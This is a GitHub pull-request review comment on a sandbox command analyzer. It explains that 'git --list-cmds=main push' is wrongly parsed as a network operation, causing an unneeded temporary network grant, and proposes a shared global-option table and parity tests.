    internal/sandbox/analyzer.go:351
    git --list-cmds=main push prints the locally installed command list and exits successfully; it never runs push. parseGitInvocation recognizes only a hand-maintained subset of terminal globals, skips --list-cmds=main as an ordinary option, then reads push as a network subcommand. Both the AST and fallback paths consequently request network access and apply a temporary network grant for a local operation. The broader root cause is that the parser models only selected Git global-option behaviors while claiming to resolve the invocation. Make terminal, value-taking, and ordinary global options one explicit shared result table sourced from Git's documented global options; do not extend separate skip lists. Add --list-cmds=<groups> and a value-taking-prefix case to the AST/fallback parity test.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

sandbox network grants don't persist after approving — network access stays denied, fails with context canceled

6 participants